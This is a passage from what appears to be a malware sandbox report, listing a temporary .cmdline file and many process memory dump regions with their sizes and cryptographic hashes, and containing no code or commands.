                                                                                                                                                                                              ee11e84cf41d8a43340f7102e17660072906c402

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • \??\c:\Users\Admin\AppData\Local\Temp\khjk1goa\khjk1goa.cmdline
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              607B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              60ff43df9df4167ced4293fa940a1377

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              b5dc56815af0a839680697a142385d5cc216a091

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              c16ba4c18c0fa7e46fd77adc7f6cf3ccb6da6e1625c054f816e945862bdd00f0

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              ee6989141fc242b678ac0aea5e7010511d4a40f12dd20d782e64cca13a4d46dbf93a7f0ceda6da80db285b8df5aefe3870ee899bf6a6d5c796f998abba8229b3

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • memory/1652-88-0x000001A6FFA40000-0x000001A6FFA62000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              136KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/2000-2207-0x0000000009BD0000-0x0000000009BE0000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              64KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/2000-2183-0x0000000000EB0000-0x000000000155E000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              6.7MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/2000-2215-0x000000000CAF0000-0x000000000CB00000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              64KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/2000-2208-0x0000000009BD0000-0x0000000009BE0000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              64KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/2000-2211-0x000000000CAF0000-0x000000000CB00000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              64KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/2000-2210-0x0000000009BD0000-0x0000000009BE0000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              64KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/2000-2201-0x0000000009B70000-0x0000000009BA8000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              224KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/2000-2202-0x0000000009610000-0x000000000961E000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              56KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/2000-2184-0x0000000006880000-0x0000000006E26000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              5.6MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/2000-2209-0x0000000009BD0000-0x0000000009BE0000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              64KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/2000-2213-0x0000000009BD0000-0x0000000009BE0000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              64KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/2000-2214-0x0000000009BD0000-0x0000000009BE0000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              64KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/2000-2212-0x000000000CAF0000-0x000000000CB00000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              64KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/2828-207-0x0000021417D70000-0x0000021417D78000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              32KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/4244-1867-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              128KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/4840-1868-0x0000000000400000-0x000000000040C000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              48KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5616-1865-0x000000001C430000-0x000000001C492000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              392KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5616-1864-0x000000001C2C0000-0x000000001C366000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              664KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5616-1863-0x000000001BD40000-0x000000001C20E000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              4.8MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-70-0x00007FFF63060000-0x00007FFF63649000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              5.9MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-58-0x00007FFF67970000-0x00007FFF67993000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              140KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-295-0x00007FFF68AE0000-0x00007FFF68AF4000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              80KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-82-0x00007FFF62F40000-0x00007FFF6305C000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              1.1MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-81-0x00007FFF6CC90000-0x00007FFF6CCA9000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              100KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-79-0x00007FFF67960000-0x00007FFF6796D000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              52KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-78-0x00007FFF6CFB0000-0x00007FFF6CFDD000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              180KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-76-0x00007FFF68AE0000-0x00007FFF68AF4000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              80KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-320-0x00007FFF63060000-0x00007FFF63649000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              5.9MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-73-0x00007FFF51D10000-0x00007FFF52232000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              5.1MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-74-0x00007FFF6CFF0000-0x00007FFF6D013000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              140KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-72-0x00000229FBFC0000-0x00000229FC4E2000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              5.1MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-71-0x00007FFF63760000-0x00007FFF6382D000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              820KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-306-0x00007FFF6CFF0000-0x00007FFF6D013000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              140KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-66-0x00007FFF668B0000-0x00007FFF668E3000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              204KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-64-0x00007FFF6CC80000-0x00007FFF6CC8D000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              52KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-62-0x00007FFF68C00000-0x00007FFF68C19000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              100KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-60-0x00007FFF63830000-0x00007FFF639A7000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              1.5MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-305-0x00007FFF63060000-0x00007FFF63649000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              5.9MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-118-0x00007FFF63830000-0x00007FFF639A7000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              1.5MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-311-0x00007FFF63830000-0x00007FFF639A7000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              1.5MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-329-0x00007FFF668B0000-0x00007FFF668E3000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              204KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-335-0x00007FFF51D10000-0x00007FFF52232000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              5.1MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-106-0x00007FFF67970000-0x00007FFF67993000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              140KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-56-0x00007FFF6CC90000-0x00007FFF6CCA9000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              100KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-285-0x00007FFF51D10000-0x00007FFF52232000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              5.1MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-184-0x00007FFF68C00000-0x00007FFF68C19000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              100KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-54-0x00007FFF6CFB0000-0x00007FFF6CFDD000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              180KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-339-0x00007FFF62F40000-0x00007FFF6305C000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              1.1MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-32-0x00007FFF6CFE0000-0x00007FFF6CFEF000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              60KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-336-0x00007FFF63760000-0x00007FFF6382D000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              820KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-338-0x00007FFF67960000-0x00007FFF6796D000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              52KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-29-0x00007FFF6CFF0000-0x00007FFF6D013000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              140KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-337-0x00007FFF68AE0000-0x00007FFF68AF4000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              80KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-328-0x00007FFF6CC80000-0x00007FFF6CC8D000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              52KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-327-0x00007FFF68C00000-0x00007FFF68C19000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              100KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-326-0x00007FFF63830000-0x00007FFF639A7000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              1.5MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-266-0x00007FFF668B0000-0x00007FFF668E3000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              204KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-270-0x00007FFF63760000-0x00007FFF6382D000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              820KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-325-0x00007FFF67970000-0x00007FFF67993000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              140KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-271-0x00000229FBFC0000-0x00000229FC4E2000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              5.1MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-324-0x00007FFF6CC90000-0x00007FFF6CCA9000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              100KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-323-0x00007FFF6CFB0000-0x00007FFF6CFDD000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              180KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-322-0x00007FFF6CFE0000-0x00007FFF6CFEF000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              60KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-25-0x00007FFF63060000-0x00007FFF63649000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              5.9MB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/5724-321-0x00007FFF6CFF0000-0x00007FFF6D013000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              140KB

                                                                                                                                                                                              Download